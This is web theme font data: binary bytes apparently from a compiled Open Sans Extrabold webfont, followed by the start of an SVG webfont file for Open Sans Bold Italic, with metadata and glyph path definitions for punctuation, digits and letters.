t�'��J���Kd�<o��������Z��h���&&z7���s&(C��R���s&(vbR���"s&(��R���u&(j��R����@s&,C��R���Ps&,v��R����,s&,��R����u&,j��Rw�g�
+�
�+��

+�3��2�/�ְ2�
�2�

+�@
	+�
+�@	+�
�+��+��99013! )32654&+3#�`�m���'�X����s��3@C�������t3�����������&1�R��h���s&2C�R��h���s&2v?R��h���s&2��R��h���&2��R��h���u&2j�Ry
�7			'y��������߽��������h���"j�
+��+���#/�ֱ�� +�
�$+��9� �
$9�
�9�
�999��
"$9��99901!27!"''7&&# 32654'hm\��L�R������T�T���DC�ײ6?���m�7vr}��}����+�}}���T����}V�����ys&8CR�����ys&8v)R�����ys&8��R�����yu&8j�R��Ps&<v�R���K�+�+�

+��
+���/�ֱ�
22��+��+�
�9013!3 !#32654+��o���oHYi�f��������RdX�����3p�+�+��0/���4/�ֱ3	�3�-+��! ���5+�-3�%($9�!�9��99��9��9�0�9990134$! #"&'32654.'.547>54&#"�N;(;F;(1E�w�߈�@1�A=LHU~b�K@c[�L�Dz9]K:.$*%_�|��"#2/'&/-CsPz`4O,3D���J��y!&DC���J��y!&Dv���J��y&D�!���J��y-&D�D��J��y#&Dj-��J��y�&D�`J��%�&06��$+�3�)�2�+�3��52�1$
+�1+�2�1�.+�7/�ֱ'�'�,+�2�	�12�,
+�@	+�8+�'�	$999�,�99��
 99�)$� 99��'999�1�9��	
9901%754#"6!2>32!327# '#"&%326=!.#"J񷈊�n�ɇF�t��H�tª^€��P{�x���qEeTj]�T\F�`Y�Pd^1-��ZqV��0#�SK ˭dZHXERb��V��&Fz���V���!&HC���V���!&Hv���V���!&H�)��V���#&Hj���~2!&�C�v��k!&�v�c����!&��������#&�j��X���'%e�+��#/���&/�ֱ�� +�2��'+��

999� �	$9��99�#�99��99014327&''7'77! %32654&#"X�4CL�u��l�\�s������������[IZJ\H��T�Mw�\]�I>��a�������Thp����-&Q�b��V���!&RC���V���!&Rv���V���!&R�#��V���-&R�7��V���#&RjH�=1�
/��/��/���/�ְ2�

+�2�+01!4632#"&4632#"&H��iOMKRWFGUOMKRWFGUL��RXWSPZX^RXWSPZXV����#m�
+��+�+���$/�ֱ	��!+�
	�%+��9�!�
$9�
�9�
�99��
#$9��99901!27!"''7&&#"32654'V:}mG�C����}hT�O�w!$.ri�1rg
93'oih�����"�k{�*c0�
��#��V-������!&XC�������!&Xv�������!&X�B������#&Xj1������!&\v����"n�+��	+��	
+�@		+�/�#/�ֱ	�22��+��$+��$9��	99��99��9�	�901!3>32#"'#32654&#"��+�d����rNTP?BSUD���jwNX����<\�?'������{{������#&\j��m!�+�+�/�ֱ	�	�+013!��m��h��F�"��+��+��+�	�+� �


+�
��#/�ֱ��+��	2�
+�@	+�$+��99��99�
�9�
�99�	�901!2!!!!!!# 327.#"h^BC�D�'��L��"�9�������L"v?}��g�	������a��+��V����'-g�+�3��2�+�3�,�+�%�(
+�(+�./�ֱ�/+��99��9�(�"999�,�901!2632!327#"'# 32654&#"!.#"V+╛���H�tª\��������L\[KL\YM�T\F�93��ZqV��/$��>�������Rb��Pu&<j-R��/!
�/�3���/�+��9015>7!#&'�E�&�^��Tu}E�A�:��0fk+%�=�L�	/�
+�/�
+�/�ִ
+��+�
+�+��	99��99014632#"&732654&#"%�yv��xy��**#11##1�t��pq��s%//%&..���-��+�3�+�22�� ��3�+�22�/�ִ
+�+�6���`+
�.�.����������+��+�+��+�+� � �#9�9�9�9�....�........�@��
901>3232673#".#"�zw&VXV&"	�~m-[XS%6կ�$20��$b+�`�"�/����/�+�+�+01!+5�8��+�`�"�/����/�+�+�+01!+5�8��+�`�"�/����/�+�+�+01!+5�8��J����/����/�+01!Jl���J����/����/�+01!Jh���m�� �/�+�/�ִ+�+017!!dMC��������%m��%�/�+�/�ֱ
�+��901!%DV\Um=
����9��+m��
&�/�3�+�
2�+�	2�/�+017!!%7!!dMC���dMC�������������%m��
L�/�3�+�
2�+�	2�/�ֱ
��	+�
�+��9�	�9��
901!3!%DV\U�DV]Sm=
���=
���9���+L�/�3�+�2�+�2�/�ֱ
��+�
�+��9��9�
�90167!367!9;VaO�;VaO��Wg����Wg���J��m.�	/�+�+�
/�ִ+�+�+014632#"&J��������R쮺�����0V���f#D�	/�!33�+�22�+�$/�ֱ��+���+��%+0174632#"&%4632#"&%4632#"&Vmhcjm`crPmhcjm`crPmhcjm`cr�\dd\Zed[\dd\Zed[\dd\ZedJP�/!�/�ִ+�2�+��9015	J�����1�����LP�/!�/�ְ2�+�+��9017	%L����}�\[����Nm�!!�N�.���JJ�
`�+�
/�3�
+�2�

+�@
	+�/�	ְ2�
+�2�	
+�@	+�	
+�@		+�+�
�9��9015!3#!5'3547^'}}�흝(ռ+��ɋ�ɦEBd!7����'��$+��+��$
+�3�
+�2�$
+�3�
+�2�(/�'ְ2�	�2�'
+�@	+�@	+�'
+�@'	+�2�)+�'�$9�$�"9��!9��9��
90153'57#5332&#"!!5!!327#"$'7���3C���wxnpwR����!�yf����/��+��	L��3kY�,ͤ7��7��%�����+�
33�+�$2�+�+�+�
+�2�/�ִ
+�
+�@	+�
+�@	+��+�
+��+�
+�+�6��x�g+
�.�����
��=��+
�.�
�������...�
.......�@��9015!##!!#47###%������	���	����!���!�/�D*��86�poo!!o��o����-m5'LNI��-\'ONI��-�5&I'INL���-�&I'INO����_<��������N��A���	5�N�O�����RR1yL%�P�%dHVy�J�7L-�Hy9�+PV�
�H�T�-�F�#�^�F�N�D�5PV`9�H�H�H
-R�d�1h��d�P��h!����^�������`h�`hj��Z�3��P�P�=�u��/3������J%�PV%V�VN-�\�����F����\�V%�%V��Dw�5\��H

�1w=�wB�HRR���f�`��j���\-1sJ�H�+�\��`?�H1=1?�`�%fPV��19#1sL������S
%���������1hd�d�d�d������������`h`h`h`h`h�y`h����P���J�J�J�J�J�J{JPV�V�V�V�V��~�k������!X\�VVVVV�HRV\�\�\�\��%�����h�VP��`%�����??�j�+�+�+JJ%y9��%w9#J�V3J3L��N�1�7)%o�-�-	5-	1-2222v��4�t���`����2^�0��Tz�r��		,	@	�
\
�
�F���h���
*
P
�b�R��2d:n��H`|���<����2|��D��F��:��`��l��22l�<�@�$� < b � �!X!t!�""n"�##Z#�#�$$>$�$�$�$�$�%J%V%b%n%z%�%�%�%�%�%�&
&&"&.&:&F&�&�&�&�&�&�&�''�'�'�'�'�'�((�(�(�(�(�(�(�)�)�)�)�)�)�)�)�)�)�*`*l*x*�*�*�*�*�+d+p+|+�+�+�,,,8,�-4-@-j-�.@.@.@.@.@.@.@.@.@.@.@.@.`.�.�.�.�.�//&/Z/�/�00r0r0�0�0�0�11�2F2T2`2l2|2��B<ff	h	h	z	�	&�	�	$�	�n�Digitized data copyright � 2011, Google Corporation.Open SansExtraboldwebfontOpen Sans ExtraboldVersion 1.10OpenSans-ExtraboldThis font was generated by the Font Squirrel Generator.�ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E�d+�+D� E�=+�+D� E�+�+D� E��+�+D�	 E�+D�
 E�	+�Fv+D� E�	�+�Fv+D� E��+�Fv+DY�+PK!m�O�T�T�?bluetheme/assets/fonts/OpenSans/OpenSans-BoldItalic-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  20102011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansBoldItalic" horiz-adv-x="1128" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="586" d="M25 115q0 90 53.5 144t150.5 54q68 0 109 -38t41 -107q0 -87 -55 -141t-144 -54q-73 0 -114 37.5t-41 104.5zM150 485l157 977h340l-256 -977h-241z" />
<glyph unicode="&#x22;" horiz-adv-x="928" d="M201 934l71 528h277l-152 -528h-196zM604 934l74 528h276l-151 -528h-199z" />
<glyph unicode="#" horiz-adv-x="1323" d="M41 408l18 206h277l70 232h-252l18 209h289l119 407h217l-117 -407h199l116 407h215l-116 -407h239l-18 -209h-279l-69 -232h258l-19 -206h-297l-116 -408h-220l117 408h-194l-115 -408h-215l113 408h-238zM553 614h197l69 232h-196z" />
<glyph unicode="$" d="M51 168v266q198 -107 404 -117l71 322q-163 61 -241 151t-78 214q0 173 127 279.5t350 121.5l35 151h139l-33 -151q166 -22 295 -90l-106 -232q-132 65 -242 74l-63 -299q131 -51 195 -99.5t97 -113t33 -149.5q0 -184 -125.5 -291.5t-367.5 -124.5l-39 -199h-140l44 201 q-209 12 -355 86zM502 1022q0 -79 80 -111l51 246q-62 -7 -96.5 -41t-34.5 -94zM594 322q63 9 102 45t39 98q0 46 -24.5 75.5t-59.5 43.5z" />
<glyph unicode="%" horiz-adv-x="1753" d="M115 885q0 169 55.5 311.5t148.5 214.5t216 72q137 0 211.5 -80t74.5 -238q0 -166 -56 -310t-151 -217t-217 -73q-139 0 -210.5 83.5t-71.5 236.5zM231 0l1088 1462h235l-1083 -1462h-240zM360 868q0 -96 56 -96q65 0 112 131t47 275q0 96 -57 96q-63 0 -110.5 -128.5 t-47.5 -277.5zM973 283q0 177 53 322.5t148 219.5t219 74q137 0 211.5 -78.5t74.5 -230.5q0 -167 -54 -313.5t-148 -220.5t-215 -74q-144 0 -216.5 78.5t-72.5 222.5zM1219 285q0 -97 55 -97q41 0 77 55t59.5 154.5t23.5 196.5q0 96 -58 96q-39 0 -75 -56t-59 -154t-23 -195 z" />
<glyph unicode="&#x26;" horiz-adv-x="1450" d="M68 358q0 145 78.5 248.5t273.5 200.5q-76 130 -76 258q0 195 117.5 307.5t316.5 112.5q169 0 266 -82.5t97 -224.5q0 -280 -365 -426l195 -263q44 57 80.5 121.5t78.5 173.5h300q-133 -313 -310 -497l205 -287h-350l-72 98q-175 -118 -403 -118q-209 0 -320.5 97.5 t-111.5 280.5zM383 387q0 -65 45.5 -108t116.5 -43q115 0 221 59l-225 328q-88 -51 -123 -104.5t-35 -131.5zM621 1085q0 -46 12 -92t29 -73q113 59 155.5 111t42.5 112q0 57 -30 82.5t-70 25.5q-66 0 -102.5 -46.5t-36.5 -119.5z" />
<glyph unicode="'" horiz-adv-x="522" d="M201 934l71 528h277l-152 -528h-196z" />
<glyph unicode="(" horiz-adv-x="694" d="M74 281q0 339 122.5 626.5t381.5 554.5h262q-255 -278 -377.5 -573.5t-122.5 -618.5q0 -308 117 -594h-234q-149 266 -149 605z" />
<glyph unicode=")" horiz-adv-x="694" d="M-147 -324q499 545 499 1192q0 307 -116 594h233q149 -264 149 -604q0 -342 -124 -630.5t-379 -551.5h-262z" />
<glyph unicode="*" horiz-adv-x="1116" d="M172 1141l86 237l338 -174l33 369l256 -51l-113 -353l387 29l-18 -254l-338 43l160 -336l-246 -73l-90 337l-197 -278l-207 164l275 248z" />
<glyph unicode="+" d="M109 612v219h366v369h219v-369h367v-219h-367v-364h-219v364h-366z" />
<glyph unicode="," horiz-adv-x="569" d="M-102 -264q74 167 194 502h285l8 -23q-118 -255 -262 -479h-225z" />
<glyph unicode="-" horiz-adv-x="659" d="M41 424l53 250h524l-53 -250h-524z" />
<glyph unicode="." horiz-adv-x="584" d="M25 115q0 90 53.5 144t150.5 54q68 0 109 -38t41 -107q0 -87 -55 -141t-144 -54q-73 0 -114 37.5t-41 104.5z" />
<glyph unicode="/" horiz-adv-x="862" d="M-90 0l809 1462h295l-809 -1462h-295z" />
<glyph unicode="0" d="M66 467q0 297 84 537t228 360.5t333 120.5q399 0 399 -473q0 -470 -168.5 -751t-472.5 -281q-198 0 -300.5 122t-102.5 365zM369 461q0 -115 27.5 -173.5t97.5 -58.5q81 0 150.5 106t116 301t46.5 386q0 111 -30.5 162t-92.5 51q-80 0 -149.5 -104t-117.5 -302t-48 -368z " />
<glyph unicode="1" d="M182 1114l566 348h249l-309 -1462h-305l180 829q35 152 76 287q-9 -8 -61.5 -47t-262.5 -170z" />
<glyph unicode="2" d="M-49 0l43 213l477 424q180 159 248.5 254.5t68.5 179.5q0 75 -41 114.5t-110 39.5q-66 0 -135.5 -33.5t-171.5 -118.5l-146 203q132 112 252 159.5t250 47.5q190 0 301 -98t111 -259q0 -107 -41 -201t-122.5 -188t-266.5 -245l-269 -222v-10h568l-54 -260h-962z" />
<glyph unicode="3" d="M14 59v267q84 -50 182 -75.5t191 -25.5q158 0 243 63.5t85 176.5q0 172 -258 172h-138l46 221h73q167 0 263 62t96 172q0 67 -43 104t-121 37q-134 0 -287 -100l-127 204q124 81 232.5 113.5t246.5 32.5q190 0 298 -90.5t108 -243.5q0 -156 -94.5 -262t-261.5 -135v-4 q131 -26 198.5 -106.5t67.5 -201.5q0 -133 -74 -238t-212 -163.5t-327 -58.5q-239 0 -387 79z" />
<glyph unicode="4" d="M-25 303l48 234l770 925h311l-195 -919h170l-51 -240h-170l-63 -303h-293l63 303h-590zM305 543h311l58 248q12 58 40 164t42 141h-6q-35 -63 -132 -181z" />
<glyph unicode="5" d="M27 61v269q174 -99 352 -99q154 0 241 71t87 194q0 94 -57.5 141t-166.5 47q-102 0 -213 -33l-104 78l207 733h755l-55 -262h-489l-88 -293q72 15 127 15q183 0 289 -103t106 -287q0 -167 -71.5 -292t-208.5 -192.5t-330 -67.5q-117 0 -218.5 23t-162.5 58z" />
<glyph unicode="6" d="M88 469q0 202 61 395.5t167.5 335t256.5 213.5t357 72q125 0 223 -27l-51 -246q-84 25 -191 25q-194 0 -313.5 -108t-185.5 -345h4q115 166 311 166q157 0 242.5 -97t85.5 -273q0 -169 -71 -313.5t-190.5 -215.5t-277.5 -71q-212 0 -320 127t-108 362zM383 422 q0 -91 40 -143t107 -52q99 0 161.5 94t62.5 236q0 71 -33.5 113.5t-102.5 42.5q-60 0 -114.5 -35.5t-87.5 -95.5t-33 -160z" />
<glyph unicode="7" d="M78 0l737 1202h-629l56 260h975l-41 -194l-752 -1268h-346z" />
<glyph unicode="8" d="M55 350q0 298 348 426q-165 132 -165 299q0 119 58 212.5t168 145.5t257 52q123 0 215.5 -42t141 -118t48.5 -174q0 -134 -80.5 -233.5t-230.5 -151.5q217 -141 217 -365q0 -122 -63.5 -218.5t-181 -149.5t-273.5 -53q-214 0 -336.5 100t-122.5 270zM352 383 q0 -81 50 -128.5t135 -47.5q93 0 147.5 53.5t54.5 138.5q0 73 -36.5 131.5t-120.5 112.5q-116 -45 -173 -107t-57 -153zM528 1094q0 -132 123 -201q185 72 185 221q0 68 -39.5 107t-102.5 39q-76 0 -121 -46.5t-45 -119.5z" />
<glyph unicode="9" d="M86 12v256q111 -41 227 -41q121 0 207.5 49t144 138.5t99.5 257.5h-4q-111 -158 -295 -158q-163 0 -252.5 103.5t-89.5 285.5q0 166 73 305.5t196 208t286 68.5q203 0 308.5 -123t105.5 -361q0 -280 -99 -533t-264 -370.5t-403 -117.5q-128 0 -240 32zM424 928 q0 -87 37.5 -131.5t105.5 -44.5q60 0 111.5 36.5t82 100t30.5 158.5q0 84 -35.5 137t-110.5 53q-65 0 -115.5 -42t-78 -114t-27.5 -153z" />
<glyph unicode=":" horiz-adv-x="584" d="M25 115q0 90 53.5 144t150.5 54q68 0 109 -38t41 -107q0 -87 -55 -141t-144 -54q-73 0 -114 37.5t-41 104.5zM207 940q0 92 55.5 145.5t149.5 53.5q68 0 108.5 -38.5t40.5 -107.5q0 -86 -54.5 -140t-144.5 -54q-72 0 -113.5 36.5t-41.5 104.5z" />
<glyph unicode=";" horiz-adv-x="584" d="M-102 -264q74 167 194 502h285l8 -23q-118 -255 -262 -479h-225zM207 940q0 92 55.5 145.5t149.5 53.5q68 0 108.5 -38.5t40.5 -107.5q0 -86 -54.5 -140t-144.5 -54q-72 0 -113.5 36.5t-41.5 104.5z" />
<glyph unicode="&#x3c;" d="M109 641v143l952 496v-240l-643 -317l643 -281v-239z" />
<glyph unicode="=" d="M109 418v219h952v-219h-952zM109 807v217h952v-217h-952z" />
<glyph unicode="&#x3e;" d="M109 203v239l643 281l-643 317v240l952 -496v-143z" />
<glyph unicode="?" horiz-adv-x="940" d="M166 115q0 91 55 144.5t150 53.5q68 0 108.5 -38t40.5 -107q0 -87 -55 -141t-143 -54q-74 0 -115 38t-41 104zM178 1358q230 125 445 125q177 0 280 -87.5t103 -244.5q0 -83 -28.5 -149.5t-82.5 -123t-190 -147.5q-64 -43 -96.5 -73t-52.5 -64.5t-38 -108.5h-258l14 78 q19 103 73.5 177t172.5 155q124 84 157.5 127t33.5 96q0 119 -133 119q-50 0 -106.5 -16t-201.5 -84z" />
<glyph unicode="@" horiz-adv-x="1753" d="M92 500q0 279 120.5 497t343 341.5t497.5 123.5q318 0 499 -163.5t181 -458.5q0 -173 -64 -321t-177.5 -231t-254.5 -83q-88 0 -144.5 38.5t-72.5 108.5h-6q-50 -77 -113 -112t-147 -35q-127 0 -198 79.5t-71 229.5q0 147 67.5 276.5t187.5 205t268 75.5q185 0 327 -55 l-106 -420q-11 -44 -19 -76.5t-8 -64.5q0 -68 58 -68q66 0 124 64t92.5 171t34.5 214q0 213 -123.5 325.5t-359.5 112.5q-203 0 -366.5 -94t-255 -266t-91.5 -392q0 -243 134 -380.5t376 -137.5q117 0 219.5 20t221.5 66v-186q-230 -90 -465 -90q-217 0 -378 85.5 t-246 241.5t-85 359zM713 526q0 -65 24.5 -102t69.5 -37q141 0 213 270l57 222q-36 10 -82 10q-82 0 -145.5 -51.5t-100 -137t-36.5 -174.5z" />
<glyph unicode="A" horiz-adv-x="1286" d="M-123 0l766 1468h373l147 -1468h-297l-24 348h-473l-172 -348h-320zM494 608h333l-26 350q-10 131 -10 253v36q-44 -120 -109 -254z" />
<glyph unicode="B" horiz-adv-x="1270" d="M53 0l309 1462h426q229 0 346 -81.5t117 -243.5q0 -150 -83 -247.5t-236 -129.5v-6q100 -26 159.5 -96.5t59.5 -180.5q0 -229 -153 -353t-423 -124h-522zM412 256h180q117 0 183.5 58t66.5 161q0 162 -183 162h-165zM545 883h149q121 0 181.5 48.5t60.5 139.5 q0 137 -170 137h-152z" />
<glyph unicode="C" horiz-adv-x="1253" d="M123 553q0 262 104 482.5t278 335t400 114.5q125 0 222 -22.5t208 -82.5l-118 -250q-106 59 -175 78t-137 19q-132 0 -237.5 -81t-169.5 -238.5t-64 -338.5q0 -167 68.5 -248t218.5 -81q146 0 338 77v-260q-199 -77 -400 -77q-254 0 -395 149.5t-141 423.5z" />
<glyph unicode="D" horiz-adv-x="1386" d="M53 0l309 1462h396q270 0 417.5 -143t147.5 -410q0 -280 -98 -486.5t-283.5 -314.5t-437.5 -108h-451zM412 256h106q148 0 258 76t172 223.5t62 337.5q0 154 -72.5 234.5t-208.5 80.5h-115z" />
<glyph unicode="E" horiz-adv-x="1110" d="M53 0l309 1462h818l-54 -254h-512l-67 -321h477l-55 -254h-477l-80 -377h512l-54 -256h-817z" />
<glyph unicode="F" horiz-adv-x="1087" d="M53 0l309 1462h814l-54 -254h-508l-79 -377h473l-56 -253h-473l-121 -578h-305z" />
<glyph unicode="G" horiz-adv-x="1413" d="M123 549q0 268 107 484.5t301 334t448 117.5q218 0 410 -99l-115 -251q-74 40 -148 64t-161 24q-153 0 -273.5 -83t-189 -236.5t-68.5 -330.5q0 -172 72.5 -252.5t222.5 -80.5q76 0 170 24l66 299h-267l56 258h563l-162 -762q-134 -46 -248.5 -62.5t-242.5 -16.5 q-259 0 -400 147t-141 422z" />
<glyph unicode="H" horiz-adv-x="1434" d="M53 0l309 1462h306l-121 -573h471l121 573h305l-309 -1462h-306l134 631h-471l-134 -631h-305z" />
<glyph unicode="I" horiz-adv-x="659" d="M53 0l312 1462h305l-312 -1462h-305z" />
<glyph unicode="J" horiz-adv-x="678" d="M-322 -150q88 -20 164 -20q99 0 160.5 60.5t89.5 191.5l293 1380h305l-303 -1423q-52 -245 -175.5 -357t-346.5 -112q-94 0 -187 27v253z" />
<glyph unicode="K" horiz-adv-x="1255" d="M53 0l309 1462h306l-152 -702l158 205l409 497h361l-594 -700l291 -762h-338l-211 592l-125 -70l-109 -522h-305z" />
<glyph unicode="L" horiz-adv-x="1061" d="M53 0l309 1462h306l-256 -1206h512l-54 -256h-817z" />
<glyph unicode="M" horiz-adv-x="1802" d="M53 0l309 1462h404l68 -1093h4l551 1093h423l-309 -1462h-280l145 692q53 247 105 441h-5l-569 -1133h-281l-61 1133h-4q-11 -88 -38 -231t-187 -902h-275z" />
<glyph unicode="N" horiz-adv-x="1546" d="M53 0l309 1462h357l340 -1077h4q12 76 39 217t180 860h274l-309 -1462h-342l-356 1106h-6l-4 -32q-32 -216 -66 -386l-145 -688h-275z" />
<glyph unicode="O" horiz-adv-x="1495" d="M123 537q0 265 99 487.5t273 341.5t402 119q255 0 395 -144t140 -403q0 -283 -99 -506.5t-271 -337.5t-396 -114q-256 0 -399.5 147.5t-143.5 409.5zM434 537q0 -147 66.5 -222t187.5 -75t220.5 87t155.5 246t56 357q0 142 -65 219.5t-183 77.5q-121 0 -222 -91.5 t-158.5 -251.5t-57.5 -347z" />
<glyph unicode="P" horiz-adv-x="1188" d="M53 0l309 1462h338q242 0 366 -106.5t124 -319.5q0 -241 -169.5 -378.5t-467.5 -137.5h-86l-109 -520h-305zM522 774h56q142 0 223.5 69t81.5 185q0 180 -195 180h-74z" />
<glyph unicode="Q" horiz-adv-x="1495" d="M123 537q0 265 99 487.5t273 341.5t402 119q255 0 395 -144t140 -403q0 -316 -122.5 -555.5t-334.5 -337.5l254 -393h-359l-178 328h-26q-256 0 -399.5 147.5t-143.5 409.5zM434 537q0 -147 66.5 -222t187.5 -75t220.5 87t155.5 246t56 357q0 142 -65 219.5t-183 77.5 q-121 0 -222 -91.5t-158.5 -251.5t-57.5 -347z" />
<glyph unicode="R" horiz-adv-x="1247" d="M53 0l309 1462h359q237 0 356 -102t119 -299q0 -158 -83 -271.5t-239 -168.5l261 -621h-332l-207 561h-119l-119 -561h-305zM530 813h78q131 0 204 57t73 174q0 82 -47.5 123t-149.5 41h-74z" />
<glyph unicode="S" horiz-adv-x="1085" d="M41 70v274q193 -108 358 -108q112 0 175 42.5t63 116.5q0 43 -13.5 75.5t-38.5 60.5t-124 102q-138 99 -194 196t-56 209q0 129 62 230.5t176.5 158t263.5 56.5q217 0 397 -99l-109 -233q-156 74 -288 74q-83 0 -136 -45t-53 -119q0 -61 33 -106.5t148 -120.5 q121 -80 181 -176.5t60 -225.5q0 -209 -148 -330.5t-401 -121.5q-221 0 -356 90z" />
<glyph unicode="T" horiz-adv-x="1087" d="M168 1204l55 258h1010l-55 -258h-353l-254 -1204h-305l254 1204h-352z" />
<glyph unicode="U" horiz-adv-x="1415" d="M141 401q0 72 15 138l196 923h305l-194 -919q-17 -74 -17 -125q0 -178 189 -178q123 0 195 76.5t104 228.5l194 917h306l-201 -946q-57 -266 -218 -401t-419 -135q-212 0 -333.5 113.5t-121.5 307.5z" />
<glyph unicode="V" horiz-adv-x="1208" d="M184 1462h295l51 -880q4 -45 4 -133q-2 -103 -6 -150h7q78 221 110 283l432 880h316l-748 -1462h-334z" />
<glyph unicode="W" horiz-adv-x="1831" d="M184 1462h287l6 -798q0 -52 -4 -173t-10 -174h6q22 64 67 180.5t60 145.5l369 819h270l21 -873q0 -146 -9 -272h6q43 129 131 349l330 796h309l-647 -1462h-346l-22 721l-2 139q0 88 4 158h-4q-46 -146 -115 -299l-324 -719h-338z" />
<glyph unicode="X" horiz-adv-x="1241" d="M-117 0l576 764l-238 698h320l153 -518l363 518h344l-545 -725l268 -737h-331l-172 543l-396 -543h-342z" />
<glyph unicode="Y" horiz-adv-x="1155" d="M186 1462h312l129 -592l374 592h342l-618 -903l-119 -559h-303l119 559z" />
<glyph unicode="Z" horiz-adv-x="1098" d="M-61 0l38 201l777 1005h-543l53 256h936l-41 -202l-782 -1004h596l-53 -256h-981z" />
<glyph unicode="[" horiz-adv-x="678" d="M-37 -324l381 1786h473l-45 -211h-215l-291 -1364h215l-45 -211h-473z" />
<glyph unicode="\" horiz-adv-x="862" d="M221 1462h260l224 -1462h-267z" />
<glyph unicode="]" horiz-adv-x="678" d="M-137 -324l45 211h213l291 1364h-215l45 211h473l-381 -1786h-471z" />
<glyph unicode="^" horiz-adv-x="1081" d="M20 520l619 950h147l277 -950h-223l-174 633l-402 -633h-244z" />
<glyph unicode="_" horiz-adv-x="819" d="M-186 -324l30 140h822l-31 -140h-821z" />
<glyph unicode="`" horiz-adv-x="1135" d="M508 1548v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="a" horiz-adv-x="1217" d="M90 385q0 198 72 377.5t189 278t257 98.5q97 0 167.5 -42t109.5 -122h8l57 143h232l-238 -1118h-229l14 145h-4q-134 -165 -319 -165q-147 0 -231.5 106.5t-84.5 298.5zM395 399q0 -88 33.5 -132t95.5 -44q69 0 133 67t103 181.5t39 259.5q0 71 -38.5 117.5t-101.5 46.5 q-68 0 -129.5 -72t-98 -190t-36.5 -234z" />
<glyph unicode="b" horiz-adv-x="1219" d="M37 0l330 1556h301l-62 -288q-41 -182 -84 -299h8q78 98 142.5 134t140.5 36q146 0 230.5 -108t84.5 -298t-68 -367.5t-187 -281.5t-263 -104q-194 0 -276 163h-8l-58 -143h-231zM420 399q0 -80 37 -128t102 -48q67 0 128 69t98.5 189.5t37.5 237.5q0 176 -131 176 q-68 0 -130 -65t-102 -180.5t-40 -250.5z" />
<glyph unicode="c" horiz-adv-x="989" d="M90 391q0 212 74.5 385.5t209.5 268t308 94.5q182 0 328 -72l-92 -229q-54 23 -106 40t-118 17q-85 0 -153.5 -64t-107 -175.5t-38.5 -239.5q0 -96 45.5 -144.5t126.5 -48.5q76 0 141 23.5t134 58.5v-246q-152 -79 -336 -79q-201 0 -308.5 107.5t-107.5 303.5z" />
<glyph unicode="d" horiz-adv-x="1217" d="M90 387q0 196 71.5 374.5t188.5 278t258 99.5q82 0 141.5 -37t112.5 -127h8l2 28q6 110 25 195l76 358h301l-330 -1556h-229l14 145h-4q-71 -87 -148.5 -126t-170.5 -39q-147 0 -231.5 107t-84.5 300zM395 399q0 -176 137 -176q66 0 128.5 68.5t100.5 182.5t38 245 q0 80 -37.5 128t-102.5 48q-68 0 -129.5 -72t-98 -190t-36.5 -234z" />
<glyph unicode="e" horiz-adv-x="1141" d="M90 412q0 207 82.5 377.5t223.5 260t319 89.5q177 0 276 -81.5t99 -223.5q0 -187 -167 -288.5t-477 -101.5h-51l-2 -21v-20q0 -91 51.5 -143.5t147.5 -52.5q87 0 158 19t172 67v-227q-172 -86 -390 -86q-210 0 -326 113t-116 319zM428 647h45q155 0 241.5 48.5 t86.5 131.5q0 95 -105 95q-88 0 -166 -80t-102 -195z" />
<glyph unicode="f" horiz-adv-x="764" d="M-219 -225q61 -21 115 -21q61 0 107 40t65 130l204 965h-163l30 145l183 84l18 84q41 190 138.5 277.5t273.5 87.5q131 0 235 -49l-80 -224q-69 31 -133 31q-57 0 -92 -40t-47 -105l-12 -62h219l-49 -229h-220l-215 -1010q-77 -371 -403 -371q-104 0 -174 25v242z" />
<glyph unicode="g" horiz-adv-x="1108" d="M-115 -209q0 102 68.5 175.5t214.5 121.5q-74 47 -74 133q0 71 44.5 122.5t146.5 98.5q-65 49 -96 112t-31 153q0 199 125.5 315.5t341.5 116.5q83 0 166 -23h395l-35 -166l-174 -41q16 -52 16 -118q0 -195 -121 -308.5t-329 -113.5q-59 0 -99 10q-84 -27 -84 -78 q0 -34 30 -49t89 -23l137 -18q163 -21 237.5 -84.5t74.5 -183.5q0 -211 -156 -323t-446 -112q-208 0 -324.5 75.5t-116.5 207.5zM150 -172q0 -115 194 -115q151 0 228 45t77 127q0 39 -32.5 60t-137.5 35l-114 14q-106 -14 -160.5 -57t-54.5 -109zM442 680q0 -119 103 -119 q75 0 121.5 76.5t46.5 193.5t-99 117q-77 0 -124.5 -76.5t-47.5 -191.5z" />
<glyph unicode="h" horiz-adv-x="1237" d="M37 0l330 1556h301q-39 -181 -60 -278t-86 -309h8q62 77 138 123.5t176 46.5q138 0 213.5 -83.5t75.5 -238.5q0 -73 -23 -180l-133 -637h-301l137 653q16 68 16 119q0 123 -108 123q-92 0 -167 -114t-118 -318l-98 -463h-301z" />
<glyph unicode="i" horiz-adv-x="608" d="M37 0l237 1118h301l-237 -1118h-301zM322 1380q0 87 47.5 131.5t134.5 44.5q73 0 111 -31t38 -89q0 -80 -44 -129.5t-136 -49.5q-151 0 -151 123z" />
<glyph unicode="j" horiz-adv-x="608" d="M-264 -225q61 -21 114 -21q137 0 173 170l253 1194h302l-265 -1239q-77 -371 -403 -371q-104 0 -174 25v242zM324 1380q0 87 47.5 131.5t134.5 44.5q73 0 111 -31t38 -89q0 -80 -44 -129.5t-136 -49.5q-151 0 -151 123z" />
